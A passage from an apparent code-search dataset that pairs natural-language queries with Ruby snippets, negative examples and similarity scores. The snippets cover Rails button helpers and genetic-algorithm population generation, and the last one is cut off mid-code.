:submit\n button :submit, options[:label]\n else\n template.link_to options[:label], options[:url]\n end\n end", "def button_for(f, action, label)\n content_tag(\n :div,\n content_tag(\n :div,\n primary_button_for(f, action, label) +\n content_tag(:span, ' ') +\n cancel_button,\n class: \"#{OFFSET_CLASS} #{FIELD_WIDTH_CLASS}\"\n ),\n class: 'form-group'\n )\n end", "def apphelp_protected_buttons_to( *button_data )\n buttons = ''\n\n button_data.each do | data |\n next if ( data.nil? )\n\n action = data[ 0 ] # NB: This is the action the button will represent, not the current, user-requested action for the enclosing page.\n options_for_link = data[ 1 ] || {}\n options_for_url = data[ 2 ]\n\n case action_name.to_sym # NB: This is the current, user-requested action for the enclosing page, not the action the button will represent.\n when :new, :create, :edit, :update\n mapping_hash = @@apphelp_button_mappings[ :for_read_write_pages ]\n when :show, :index\n mapping_hash = @@apphelp_button_mappings[ :for_read_only_pages ]\n else\n mapping_hash = @@apphelp_button_mappings[ :for_general_use ]\n end\n\n mapping = mapping_hash[ action ] || @@apphelp_button_mappings[ :for_general_use ][ :default ]\n ctrl = options_for_link[ :controller ] || controller.class\n variant = options_for_link.delete( :variant ) || mapping[ :variant ]\n icon = options_for_link.delete( :icon ) || mapping[ :icon ]\n text = options_for_link.delete( :text ) || apphelp_heading( ctrl, action )\n\n options_for_link[ :class ] ||= \"#{ variant } round\"\n\n buttons += ' ' unless ( buttons.empty? )\n buttons += apphelp_protected_link_to(\n action,\n options_for_link,\n options_for_url\n ) do\n image_tag(\n \"icons/#{ icon }.png\",\n :alt => '' # Explicit empty ALT text => icon not important for screen reading\n ) << text\n end\n end\n\n return buttons\n end", "def link_to_modal_form project\n link_to \"##{ idify( project ) }\", :class => 'btn btn-mini btn-warning',\n :'data-toggle' => \"modal\", :role=>\"button\" do\n content_tag( :i, nil, :class => \"icon-wrench\" ) +\n \" Setup your project\"\n end\n end", "def external_form_post_js( label = \"Submit\", action = '', params = {} )\n return \"<input type='button' value='#{label}' onClick='externalFormPost(\" + action.to_json + \",\" + params.to_json + \")'/>\"\n end", "def button_link(which)\n link.href(\"/page/#{which}\")[\n button\n .css(:button)\n .disabled(app.done_scope == which)\n .style(margin_right: 1.em, width: 6.em)[\n \"#{which.to_s.capitalize} (#{TODOS.count(which)})\"\n ]\n ]\n end", "def button_with_icon(text , icon, options = { })\n return \"<button id='foo_submit' class = '#{options[:class]} ui-corner-all fg-button ui-state-default fg-button-icon-left' type='submit' name='commit'><span class='ui-icon ui-icon-#{icon}'></span>#{text}</button>\"\n end", "def apphelp_protected_button_to( action, options_for_link, options_for_url = nil )\n apphelp_protected_buttons_to(\n [ action, options_for_link, options_for_url ]\n )\n end", "def filter_button(label='Apply Filter', options={}, html_options={})\n options.reverse_merge! :prefix => 'filter'\n html_options.reverse_merge! :disabled => true, :type => 'button',\n :value => label, :id => \"#{options[:prefix]}_button\"\n\n p = params.dup\n p.delete_if {|key, value| [options[:prefix], 'action', 'controller'].include? key}\n p = p.to_query\n p += '&' unless p == ''\n\n html_options[:onclick] = \"#{html_options[:onclick]};location.href='?#{p}' + $$('select.#{escape_javascript options[:prefix]}_select').inject([], function(m, e) {m.push(e.getAttribute('name') + '=' + encodeURIComponent($F(e))); return m}).join('&')\"\n\n tag 'input', html_options\n end", "def filter_button(label='Apply Filter', options={}, html_options={})\n options.reverse_merge! :prefix => 'filter'\n html_options.reverse_merge! :disabled => true, :type => 'button',\n :value => label, :id => \"#{options[:prefix]}_button\"\n\n p = params.dup\n p.delete_if {|key, value| [options[:prefix], 'action', 'controller'].include? key}\n p = p.to_query\n p += '&' unless p == ''\n\n html_options[:onclick] = \"#{html_options[:onclick]};location.href='?#{p}' + $$('select.#{escape_javascript options[:prefix]}_select').inject([], function(m, e) {m.push(e.getAttribute('name') + '=' + encodeURIComponent($F(e))); return m}).join('&')\"\n\n tag 'input', html_options\n end", "def fixme_button(done, auto_check)\n content_tag(:div, class: \"col-sm-1\") do\n if !done && auto_check\n link_to url_helpers.edit_product_path(@review.product) do\n content_tag(:button, 'FIXME', type: \"button\", class: \"btn btn-warning btn-xs\")\n end\n end\n end\n end", "def button_to_action(record_or_class, action, options)\n # Default to the btn-default style\n options[:class] ||= 'btn-default'\n options[:class] << ' btn'\n\n # Figure out the text (eg. 'post' => 'Post'), and the path (eg. new_post_path)\n if options[:text]\n text = options.delete :text\n else\n text = action.to_s.capitalize\n end\n route_options = {controller: ActiveModel::Naming.route_key(record_or_class), action: action}\n # If we're passed a record, use the ID in the route\n unless record_or_class.instance_of? Class\n route_options[:id] = record_or_class.id\n end\n # If we're passed other route options, add them in\n if options[:params]\n route_options.merge! options.delete(:params)\n end\n # If this is a destroy, we need to pass the record rather than a URL\n if action == :destroy\n link_to text, record_or_class, options\n else\n link_to text, url_for(route_options), options\n end\n end", "def button_to_remote(name, options = {}, html_options = {})\n button_to_function(name, remote_function(options), html_options)\n end", "def button_tag( title, url_hash, image=\"\", image_in_own_line=true, popup=false, class_name=\"\" )\n url = popup ? \"popWindow(\\\"#{url_for url_hash}\\\")\" : \"navigateTo(\\\"#{url_for url_hash}\\\")\";\n button_function_tag( title, url, image, image_in_own_line, class_name );\n end", "def modal_button(name, options=nil, html_options={})\n if html_options[:class] == nil\n html_options[:class] = 'pos_action'\n elsif html_options[:class].include?('pos_action') == false\n html_options[:class] += ' pos_action'\n end\n modal_link_to(name, options, html_options)\n end", "def back_button_to(path, text = t('back'))\n link_to path, class: 'button small secondary' do\n concat text\n end\n end", "def linkwizard_startover_button\n $tracer.trace(__method__)\n return ToolTag.new(form.id(\"StartOver\").button.className(\"/btn/\") ,__method__)\n end", "def submit_block(link)\n @template.content_tag(:div, :class => \"pull-right\") do\n submit(:class => \"btn btn-primary\") + @template.content_tag(:span, @template.admin_t(:or), :class => \"or\") + @template.cancel_link(link)\n end\n end", "def button(purpose = :edit, options = {}, html_options = {})\n # TODO: DRY the :a and :button.\n element, icon, nature = link_mapping( purpose )\n return unless element\n html_options.merge!(:class => nature)\n html_options.merge!(:href => (options[:url] || ''))\n @template.content_tag(element.to_s,\n legend( options, icon, purpose ),\n html_options)\n end", "def textile_editor_button(text, options={})\n return textile_editor_button_separator if text == :separator\n button = content_tag(:button, text, options)\n button = \"TextileEditor.buttons.push(\\\"%s\\\");\" % escape_javascript(button)\n (@textile_editor_buttons ||= []) << button\n end" ]
[ "0.77087826", "0.762886", "0.75721055", "0.75568324", "0.7550194", "0.74581677", "0.7433979", "0.7352617", "0.7334467", "0.73080975", "0.7260228", "0.7200416", "0.71913296", "0.71886647", "0.7183964", "0.71102065", "0.7056903", "0.70003057", "0.6990818", "0.6987437", "0.69111556", "0.6909632", "0.6847675", "0.68290055", "0.67870206", "0.67595816", "0.6756499", "0.6753356", "0.6744589", "0.6713363", "0.6712135", "0.67014295", "0.6700554", "0.66932154", "0.6646232", "0.6641632", "0.66177285", "0.6616948", "0.6611279", "0.65720725", "0.6569488", "0.6561171", "0.65466946", "0.65356755", "0.65198183", "0.65117216", "0.65082663", "0.64865386", "0.64865386", "0.6459085", "0.6455281", "0.6447261", "0.64382887", "0.64292395", "0.64290124", "0.6416975", "0.6413522", "0.64098734", "0.63791347", "0.6358366", "0.6353712", "0.63502264", "0.6347821", "0.63464653", "0.63446486", "0.63325197", "0.6319321", "0.62877405", "0.62701774", "0.62665087", "0.6256596", "0.623237", "0.6217457", "0.62116116", "0.6210553", "0.6201602", "0.62014985", "0.6194484", "0.6188193", "0.61848086", "0.61556745", "0.61474776", "0.61332256", "0.61315894", "0.61238545", "0.61145025", "0.6114126", "0.6111345", "0.61070615", "0.61070615", "0.6103786", "0.6097793", "0.6087384", "0.6084035", "0.607182", "0.6065134", "0.6059815", "0.6055816", "0.6044741", "0.60427207" ]
0.6481846
49
generate population with random filled members
def generate_population Array.new.tap do |population| Data::POPULATION_LENGTH.times do population.push(generate_random_member) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_population\n (0...@pop_size).each do\n chromosome = Chromosome.new\n (0...@num_genes).each do |_i|\n gene = rand 0..1\n chromosome << gene\n end\n evaluate_chromosome chromosome\n @chromosomes << chromosome\n end\n end", "def generate_initial_population\n @population = []\n @population_size.times do\n population << Chromosome.seed(study_times, subjects)\n end\n end", "def generate\n # Refill the population with children from the mating pool\n @population.each_index do |i|\n partner_a = @mating_pool[rand(0...@mating_pool.size)]\n partner_b = @mating_pool[rand(0...@mating_pool.size)]\n child = partner_a.crossover(partner_b)\n child.mutate(@mutation_rate)\n @population[i] = child\n end\n @generations += 1\n end", "def generate\n # Refill the population with children from the mating pool\n @population.each_index do |i|\n partner_a = @mating_pool[rand(0...@mating_pool.size)]\n partner_b = @mating_pool[rand(0...@mating_pool.size)]\n child = partner_a.crossover(partner_b)\n child.mutate(@mutation_rate)\n @population[i] = child\n end\n @generations += 1\n end", "def init_population\n (0...@pop_size).each do\n chromosome = Chromosome.new\n (0...@num_genes).each do\n gene = rand 0..1\n chromosome << gene\n end\n evaluate_chromosome chromosome\n compare_func = @is_high_fit ? :> : :<\n if @best_fit.nil? ||\n chromosome.fitness.public_send(compare_func, @best_fit)\n @best_fit = chromosome.fitness\n end\n @chromosomes << chromosome\n end\n end", "def reproduction\n # Refill the population with children from the mating pool\n @population.each_index do |i|\n # Sping the wheel of fortune to pick two parents\n m = rand(@mating_pool.size).to_i\n d = rand(@mating_pool.size).to_i\n # Pick two parents\n mom = @mating_pool[m]\n dad = @mating_pool[d]\n # Get their genes\n momgenes = mom.dna\n dadgenes = dad.dna\n # Mate their genes\n child = momgenes.crossover(dadgenes)\n # Mutate their genes\n child.mutate(@mutation_rate)\n # Fill the new population with the new child\n location = Vec2D.new(width / 2, height + 20)\n @population[i] = Rocket.new(location, child)\n end\n @generations += 1\n end", "def init_population\n (0...@pop_size).each do\n chromosome = Chromosome.new\n (0...@num_genes).each do |i|\n if @beta_values == 'discrete'\n beta = rand(0..10) / 10.0\n elsif @beta_values == 'uniform distribution'\n beta = rand(0.0..1.0)\n end\n gene = @lower_bounds[i] + beta * (@upper_bounds[i] -\n @lower_bounds[i])\n # Wrong for discrete functions\n chromosome << (@continuous ? gene : gene.floor)\n end\n evaluate_chromosome chromosome\n @chromosomes << chromosome\n end\n end", "def initial_population(fasta, size)\n\tpopulation = []\n\tsize.times do\n\t\tchromosome = fasta.shuffle\n\t\tpopulation << chromosome\n\tend\n\treturn population\nend", "def generateRandomMember(members_count)\n rand(members_count)\nend", "def populate_map(map, n)\n ret = Array.new\n\n n.times do\n begin\n x, y = [rand(map.width), rand(map.height)]\n end while(not empty?(x,y,map)) \n \n creat = CreatureGenerator.create_random(self, x, y)\n ret << creat\n end\n \n return ret\n end", "def mutate_matingpool\n (0...@mating_pool.size).each do |i|\n j = rand 0...@num_genes\n chromosome = @mating_pool[i].clone\n gene = chromosome[j]\n gene = gene.zero? ? 1 : 0\n chromosome[j] = gene\n @new_generation << chromosome\n end\n end", "def populate_random(n)\n n.times do\n set(rand(0...@x_size), rand(0...@y_size), :alive)\n end\n end", "def rand_population(n)\r\n\t\treturn Array.new(n) { Snek.new(@start_x,@start_y, Array.new(@nb_heuristic) { @random.rand(-5.0..5.0) }) }\r\n\tend", "def populate(occupancy)\n\t\tputs \"Placing #{occupancy} people in the building\"\n\t\tArray.new(occupancy).map{\n\t\t\t|person| Person.new(Faker::Name.first_name, floors.sample, floors.sample, self)\n\t\t}\n\tend", "def generate\n @map.each_index do |x|\n @map[x].each_index do |y|\n rand(4) > 0 ? @map[x][y] = :empty : @map[x][y] = :full\n end\n end\n end", "def band_members\n @members = rand(2...6)\n puts \"#{name} will be a #{members}-piece band\"\n end", "def init_population(minmax, pop_size)\r\n strategy = Array.new(minmax.size) do |i| # Make a new array called strategy that holds [0, (5 - (-5) * 0.5)] problem_size times. [[], []] Nested array\r\n [0, (minmax[i][1]-minmax[i][0]) * 0.05]\r\n end\r\n pop = Array.new(pop_size, {}) # Array of size pop, 100 in this case of empty hashes\r\n pop.each_index do |i| # For each element in pop which is a [{}, {}]\r\n pop[i][:vector] = random_vector(minmax) # Run random_vector on the original search space and put it in the pop[index][:vector]\r\n pop[i][:strategy] = random_vector(strategy) # Run random_vector on the strategy created earlier in this method and append it to pop[index][:strategy]\r\n end\r\n pop.each{|c| c[:fitness] = objective_function(c[:vector])} # Calculates a fitness for each vector using objective_function\r\n return pop\r\nend", "def compete(population,size=5)\n\t\t#fight to the death\n\t\tcompetition = Population.new(size,false)\n\t\tsize.times do \n\t\t\tcompetition.addMember(population.getRandomMember())\n\t\tend\n\t\treturn competition.getFittest\n\tend", "def plant_mines\n row_count = @field.length\n cell_count = @field[0].length\n @mine_count.times do |plant|\n row_index = rand(row_count)\n cell_index = rand(cell_count)\n if @field[row_index][cell_index].mine = false\n @field[row_index][cell_index].place_mines\n else\n @field[rand(row_count)][rand(cell_count)].place_mines\n end\n end\n @field\n end", "def populate!()\n\n tile_factory = TileFactory.new()\n livingbeing_factory = LivingBeingFactory.new()\n\n @m.times do |y|\n @n.times do |x|\n\n # Water vs Ground\n location = Location.new(@n, @m, x, y)\n wg = tile_factory.create(Utils.generate_random_percentage(), location)\n\n if wg\n\n @tiles[x][y] = wg\n else\n\n raise StandardError.new(\"Incorrect Percentages less than 100\")\n end\n\n # If tile is Ground type...\n if @tiles[x][y].is_a?(Ground)\n \n lb = livingbeing_factory.create(Utils.generate_random_percentage())\n\n @tiles[x][y].livingbeing = lb if lb\n end\n end\n end\n\n self\n end", "def create_generation\n old_persons = Array.new(@all_persons)\n clear_world\n unless old_persons.empty?\n best_person = highest_fitness(old_persons)\n best_person.reset_energy_level\n @all_persons.push(best_person) unless best_person.nil?\n while @all_persons.size < @total_people and !old_persons.empty?\n if old_persons.size >= 10\n sample_size = 10\n elsif old_persons.size >= 5\n sample_size = 5\n else\n sample_size = 3\n end\n sample_one = old_persons.sample(sample_size)\n sample_two = old_persons.sample(sample_size)\n\n parent_one = highest_fitness(sample_one)\n parent_two = highest_fitness(sample_two)\n\n old_persons.delete_if { |x| x == parent_one or x == parent_two }\n (0..1).each do\n coords = get_empty_coords\n new_person = Person.new(coords[0], coords[1], @x_size, @y_size, parent_one.get_chromosome, parent_two.get_chromosome)\n @all_persons.push(new_person)\n end\n end\n end\n @generation += 1\n end", "def init length\n gen = []\n length.times { gen << @codon.rand_gen }\n gen\n end", "def fill_randomly\n #find which positions to fill\n self.players.each{|p| self.remove_player(p) }\n positions = self.position_array\n pos_taken = self.rosters_players.collect(&:position)\n pos_taken.each do |pos|\n i = positions.index(pos)\n positions.delete_at(i) if not i.nil?\n end\n return if positions.length == 0\n #pick players that fill those positions\n for_sale = self.purchasable_players\n #organize players by position\n for_sale_by_pos = {}\n positions.each { |pos| for_sale_by_pos[pos] = []}\n for_sale.each do |player|\n for_sale_by_pos[player.position] << player if for_sale_by_pos.include?(player.position)\n end\n #sample players from each position and add to roster\n positions.each do |pos|\n players = for_sale_by_pos[pos]\n player = players.sample\n next if player.nil?\n players.delete(player)\n add_player(player, pos, false)\n end\n self.reload\n end", "def pick\n @gommis_count = Gommi.count\n @gommis = Gommi.offset(rand(Gommi.count)).first\nend", "def new_generation\n # Incrementiamo il contatore di generazioni, per motivi di\n # studio e statistica, e poi generiamo una roulette propor-\n # zionale al fitness. \n # NOTA: non si può chiamare new_generation se non è stato\n # prima eseguito un test sul fitness.\n @current_generation += 1\n roulette = Roulette.new(@fitness_pool)\n \n # Ottenuta la roulette possiamo farla girare in modo da\n # estrarre coppie di cromosomi da riprodurre\n # Il loop viene eseguito popolazione / 2 volte perché ogni\n # accoppiamento produce due figli.\n # Esistono versioni alternative che da ogni accoppiamento\n # fanno nascere un solo figlio. \n new_population = []\n (@population.size / 2).times do\n mother = @population[roulette.extract]\n father = @population[roulette.extract]\n \n # Inseriamo i figli nella nuova popolazione\n Chromosome.mated_pair(mother, father).each do |chromosome|\n new_population << chromosome\n end\n end\n \n # Il vecchio lascia il posto al nuovo - è la legge della vita\n @population = new_population\n end", "def start\r\n @log = {}\r\n @population = @size.times.map do\r\n bear(rand(1<<@length))\r\n end\r\n end", "def initial_population problem\n n = problem.path_funcs.length\n @population_size = (@pop_size_multiplier * problem.item_footprints.length).to_i\n init_pop = []\n gs = greedy_solve(problem)[:solution]\n 1.upto((@greedy_seed_proportion * @population_size) - 1) do |s|\n if s == 1\n init_pop << gs\n else\n init_pop << mutate(gs, problem.path_funcs.length, @greedy_mutation_rate)\n end\n end\n while init_pop.length < @population_size do\n init_pop << problem.item_footprints.sort.map{|i| Item.new(i, rand_int(0, n - 1))}\n end\n init_pop\n end", "def randomize!(genecount = 10)\n genecount.times.each { self << Chromosome.rand_hex }\n self\n end", "def generateCoups\n coups = []\n rand(2).times do\n coups.push(COUPS.sample)\n end\n coups\nend", "def new_generation(population)\n population_size = population.size\n\n # check correct population size\n # TODO: disable this check in non-debugging mode\n raise ArgumentError, 'Population size error!' if population_size != @population_size\n\n # prepare children\n children = []\n\n # select members to reproduce through binary tournament\n selected = Array.new(@population_size) { |i| binary_tournament(population) }\n selected.shuffle!\n\n # reproduction\n selected.each_slice(2) do |p1, p2|\n # get two new samples...\n c1, c2 = @genotype_space.reproduce_from(p1, p2, @mutation_rv, @recombination_rv)\n\n # ...and add them to the children population\n children.push(c1, c2)\n\n # check correct population size\n # TODO: disable this check in non-debugging mode\n raise 'Children size error!' if children.size > population_size\n end\n\n return children\n end", "def get_people(floor_num)\n number_of_people = rand(0..MAX_PEOPLE_PER_FLOOR)\n people_arr = []\n number_of_people.times do\n destination_floor = rand(0...NUM_OF_FLOORS)\n # makes sure that no one wants to go to the floor they start on\n people_arr << Person.new(destination_floor) if destination_floor != floor_num\n end\n people_arr\nend", "def mutate\n index = (rand * length).floor\n genes[index] = Chromosome.rand_hex\n end", "def prepare(size = 100, initial_size = 1000, offspring = 80)\n @offspring = offspring\n initial = []\n initial_size.times do\n g = @genotype.new_rand_chrom\n initial << g unless initial.include?(g)\n end\n sort!(initial)\n size.times do\n self << initial.shift\n end\n\n @logger.info \"Population con #{self.size} habitantes\"\n end", "def populate_items\n return if @items.size >= 15\n\n type = rand\n if type < 0.010\n @items.push(Goody.new(:apple))\n elsif type < 0.040\n @items.push(Goody.new(:merde))\n end\n end", "def spawn(random, length, values)\n Individual.new(Array.new(length) { random.rand(values) })\nend", "def populate width=20,height=20,density=50,seed=nil\n if seed\n srand seed\n end\n\n @current_state=Array.new(height){Array.new(width){\n\t(rand(100)<density)?1:0\n }\n }\n end", "def e1334_random_bag (values)\n end", "def populate()\n @card_values.shuffle!\n i = 0\n (0...@size).each do |row|\n (0...@size).each do |col|\n @grid[row][col] = Card.new(@card_values[i])\n i += 1\n end\n end\n end", "def reproduce (animal)\n e = animal.energy\n if (animal.energy >= REPRODUCTION_ENERGY)\n animal.energy = animal.energy << -1\n animalNu = animal.clone\n genesNu = animal.genes.clone\n mutation = rand(8)\n genesNu[mutation] = [1, (animalNu.genes[mutation] + rand(3) - 1)].max\n animalNu.genes = genesNu\n $animals.push(animalNu)\n end\nend", "def fill_pool\n number = Prompt.where(prompt_type: @name, game_id: nil).count\n if number < POOL_SIZE\n for index in 0...(POOL_SIZE - number)\n generate\n end\n end\n end", "def generateCoups\n\t\t@coups = []\n\t\trand(2).times do\n\t\t\[email protected](COUPS.sample)\n\t\tend\n\t\t@coups\n\tend", "def populate\n number_of_pairs = (size**2) / 2\n # dibagi dua krn masing2 kartu punya kembaran/pair\n cards = Card.shuffled_pairs(number_of_pairs)\n # populate the entire board with shuffled deck\n grid.each_index do |i|\n grid[i].each_index do |j|\n self[[i, j]] = cards.pop\n end\n end\n # p cards\n # p cards.count\n end", "def init_mines(row_count, column_count, mine_count)\n field = []\n until field.length == row_count*column_count\n field << false\n end\n\n rand_num = (0...row_count*column_count).to_a.shuffle.first(mine_count)\n rand_num.each do |num|\n field[num] = true\n end\n\n minefield=[]\n field.each_slice(column_count) do |sub|\n minefield << sub\n end\n minefield\n #double array to represent row, column of the minefield\n # mine is true [[false, true, true], [false, false, true], [false, false, true]]\n end", "def intialize_group(seed, num_prospectors)\r\n srand(seed)\r\n @iteration_count = 0\r\n @num_prospectors = num_prospectors\r\n end", "def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n \n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd? \n place_room(r_w, r_h, room_id) \n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n \n puts \"Alloc: #{allocated_cells} Placed:#{taken_cells}\"\n\n end", "def generate(size_x, size_y)\n @size_x = size_x\n @data = Array.new(size_x * size_y, 0)\n first_iteration = true\n\n number_of_passes.times do\n drops = create_drops\n\n # initial drop position is at the center of the map\n drop_point_x, drop_point_y = size_x / 2, size_y / 2\n\n drops.each do |drop|\n # drop particles\n drop.each { |particle| particle.drop(@data, drop_point_x, drop_point_y, size_x) }\n\n # move drop point for next drop\n if first_iteration\n drop_point_x = rand(size_x - 8) + 4 # make sure that particles\n drop_point_y = rand(size_y - 8) + 4 # aren't created near the edges\n else\n drop_point_x = rand(size_x / 2) + size_x / 4\n drop_point_y = rand(size_y / 2) + size_y / 4\n end\n end\n\n first_iteration = false\n change_variables_for_next_pass\n end\n\n @data\n end", "def populate\n letters = (\"a\"..\"h\").to_a\n dup_letters = (\"a\"..\"h\").to_a\n\n letters += dup_letters\n letters = letters.shuffle\n\n (0...4).each do |i|\n (0...4).each do |j|\n pos = [i, j]\n new_card = Card.new(letters[-1])\n self[pos] = new_card\n letters.pop\n\n end\n\n end\n \n\n end", "def generateCoups\n\tcoups = []\n\trand(2).times do\n\t\tcoups.push(COUPS.sample)\nend\n coups\nend", "def sample n=1\n @rng.fill(n)\n end", "def generateOres\r\n #For each tier populate the grid with that tier's ore.\r\n (0..@tiers-1).each do |tier|\r\n #Number of ores for the tier.\r\n oreCount = (@baseChance * (@nextTierChance**tier) * @rows * @columns).to_i #Calculates the number of ores for the tier based on the base chance and next tier chance.\r\n @oreTotal[tier] = oreCount\r\n @oreRemaining[tier] = oreCount\r\n @oreRemainingPara[tier].clear { para(@ore[tier].to_s + \" \" + @oreName[tier].to_s + \" \", strong(\"x\" + @oreRemaining[tier].to_s), @style_orecount) } #Displays the remaining number of ores for the tier.\r\n @tierExp[tier] = oreCount * (2**tier) #Calculates the total experience aquired by mining all of the tier's ore.\r\n\r\n count = 0 #Number of ores added so far.\r\n #Randomly selects a cell on the grid to populate the ore with.\r\n while count < oreCount\r\n x = rand(@rows) #Selects a random row.\r\n y = rand(@columns) #Selects a random column.\r\n if (@tile[y][x].tier == 0) #Checks if the tile is empty.\r\n @tile[y][x].tier = tier + 1 #Applies the tier to the tile.\r\n count+=1 #New ore has been added.\r\n end\r\n end\r\n end\r\nend", "def generate_participants\n participants_list = []\n (1..8).each do |_i|\n pokemon = get_random_pokemon(rand(1..151))\n pokemon_participant = Pokemon.new(get_name(pokemon), get_types(pokemon), get_stats(pokemon))\n participants_list.push(pokemon_participant)\n end\n participants_list\nend", "def insert_new_generation\n (0...@new_generation.size).each do |i|\n evaluate_chromosome @new_generation[i]\n j = rand [email protected]\n @chromosomes.delete_at j\n @chromosomes << @new_generation[i]\n end\n @mating_pool.clear\n @new_generation.clear\n end", "def random_ship\n SHIPS[SHIPS.keys.sample]\n end", "def create_random_world\n randomize_terrain\n randomize_entities\n end", "def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n\n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd?\n place_room(r_w, r_h, room_id)\n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n end", "def assign_mines\n randomizer.each do |num|\n crd = coordinator(num)\n cell = @board_a[crd[0]][crd[1]]\n cell.plant_mine\n end\n end", "def random(tg,faulty,replacements,n)\n get_mappings(faulty,replacements).sample\nend", "def randomPop(n)\n pop = []\n for i in 0..Popsize-1\n bits = \"\"\n for i in 0..n-1\n bits += rand(2).to_s\n end\n pop = pop << bits\n end\n return pop\nend", "def fill_urn\n @distribution.each do |value, count|\n (count/@gcd).to_i.times do\n @urn_content << value\n end\n end\n end", "def mutation\r\n @population += @mutation.times.map do\r\n mask = 0\r\n 0.upto(@length-1) do |i|\r\n mask += 1<<i if rand < @flip\r\n end\r\n individual = @population[rand(@population.length)][:value]\r\n value = individual ^ mask\r\n # puts (\"%.#{@length}b\" % individual) + ' xor ' + (\"%.#{@length}b\" % mask) + ' --> ' + (\"%.#{@length}b\" % value)\r\n bear(value)\r\n end\r\n end", "def add_random_players\n\tplayer_number_array = [1,2,3,4,5,6,7,8,9,10,11].shuffle\n\tp player_number_array\n\tplayer_number_array.each do |each_number|\n\t\t\tfill_team_with_players(@team_name, Faker::Name.name, each_number)\n\t\tend\nend", "def santa_generator(num)\n\t@santas = []\n\texample_names = [\"Sarah\", \"Sting\", \"Sigmond\", \"Stella\", \"Stephen\", \"Sidney\", \"Singin\"]\n\texample_genders = [\"agender\", \"female\", \"bigender\", \"male\", \"female\", \"gender fluid\", \"N/A\"]\n\texample_ethnicities = [\"black\", \"Latino\", \"white\", \"Japanese-African\", \"prefer not to say\", \"Mystical Creature (unicorn)\", \"N/A\"]\n\t\n\tnum.times do |num|\n\n\tnew_santa = Santa.new(example_names.sample(example_names.length), example_genders.sample(example_genders.length), example_ethnicities.sample(example_ethnicities.length)) \n\t\t\t\t# name = example_names.rand(example_name.length)\n\t\t\t\t# gender = example_genders.rand(example_genders.length)\n\t\t\t\t# ethnicity = example_ethnicities.rand(example_ethnicities.length)\n\t\t\t\t\n\t\t\t\t\t new_santa.age = (1..140).to_a.sample\n\n\n# Emmanual said these sage words otherwise there is no variable to accept the random number\n\n# [11:21] \n# if you had another method that created age and called it before this that would work too\n\n# [11:21] \n# basically, initialize sets all of the basic information for the class. What needs to exist for this class to exist\n\t@santas << new_santa\n\t\t# index = 0 do |num|\n\t\t# \tuntil num == index \n\t\t# \t\tname = example_names.rand(example_name.length)\n\t\t# \t\tgender = example_genders.rand(example_genders.length)\n\t\t# \t\tethnicity = example_ethnicities.rand(example_ethnicities.length)\n\t\t# \t\tage = Random.rand(141)\n\t\t# \tsantas << Santa.new (name, gender,ethnicity)\n\t\t# \t# name = example_names(rand(example_name.length)\n\t\t# \t# gender = example_genders(rand(example_genders.length)\n\t\t# \t# ethnicity = example_ethnicities(rand(example_ethnicities.length)\n\t\t# \t# age = Random.rand(141)\n\n\t\t# index += 1\n\t\n\tend\nend", "def mutate_individuals\n m = @chromosomes.size\n (0...m).each do |x|\n r = rand(0.0..1.0)\n next if r > @mut_rate\n\n new_chrom = mutate @chromosomes[x].clone\n evaluate_chromosome new_chrom\n @chromosomes << new_chrom\n end\n end", "def generate_new_population_layer(n)\n\t\tcurrent_layer = @layers[n]\n\n\t\tparent_population = ((n == 0 || !@parents_from_previous_layer) ? current_layer : (@layers[n - 1] + current_layer)).sort\n\n\t\tnew_population = []\n\n\t\t# elitism\n\t\telitism = @layer_elitism\n\t\telitism = @overall_elitism if n == (@layers.size - 1) && @overall_elitism > elitism\n\n\t\tif elitism > 0\n\t\t\tcurrent_layer.sort.reverse[0, [elitism, current_layer.size].min].each do |i|\n\t\t\t\tnew_population << i\n\t\t\tend\n\t\tend\n\n\t\t(@layer_size - new_population.size).times do\n\t\t\tparent1_index = Array.new(@tournament_size){ rand(parent_population.size) }.max\n\t\t\tparent2_index = Array.new(@tournament_size){ rand(parent_population.size) }.reject{ |v| v == parent1_index }.max\n\t\t\twhile parent2_index == nil || parent2_index == parent1_index\n\t\t\t\tparent2_index = rand(parent_population.size)\n\t\t\tend\n\n\t\t\tparent1 = parent_population[parent1_index]\n\t\t\tparent2 = parent_population[parent2_index]\n\t\t\t\n\t\t\tparent1.tag_as_used\n\t\t\tparent2.tag_as_used\n\t\t\tnew_solution = parent1.solution.crossover(parent2.solution).mutate!(@mutation_rate)\n\t\t\tnew_population << Individual.new(new_solution, [parent1.age, parent2.age].max + 1)\n\t\tend\n\n\t\t@layers[n] = new_population\n\tend", "def hometown_generator\n city = @hometown_options.sample\n end", "def fourth_puzzle\n rng = Random.new\n ret = []\n 10.times { ret.push(rng.rand(55..100)) }\n return ret\nend", "def seed_partner students, maximum\n partners = []\n random_partner_number = (0..maximum).to_a.sample\n random_partner_number.times do\n unless students.sample.nil?\n partners << students.sample.id\n end\n end\n return partners\nend", "def fill_products\n i = 0\n while(i < @sample_size)\n product = possible_products[next_rand]\n @products[product.id] = product\n i += 1\n end\n @products = @products.values\n end", "def generate_patients\n base_patients = [Generator.create_base_patient]\n generated_patients = []\n \n # Gather all available populations. Each kind of population (e.g. IPP, DENOM) can have many multiples (e.g. IPP_1, IPP_2)\n populations = []\n [\"IPP\", \"DENOM\", \"NUMER\", \"EXCL\", \"DENEXCEP\"].each do |population|\n i = 1\n populations << population\n while Generator.hqmf.population_criteria(\"#{population}_#{i}\").present? do\n populations << \"#{population}_#{i}\"\n i += 1\n end\n end\n\n populations = [\"EXCL_1\"]\n\n populations.each do |population|\n criteria = Generator.hqmf.population_criteria(population)\n \n # We don't need to do anything for populations with nothing specified\n next if criteria.nil? || !criteria.preconditions.present?\n criteria.generate(base_patients) \n \n # Mark the patient we just created 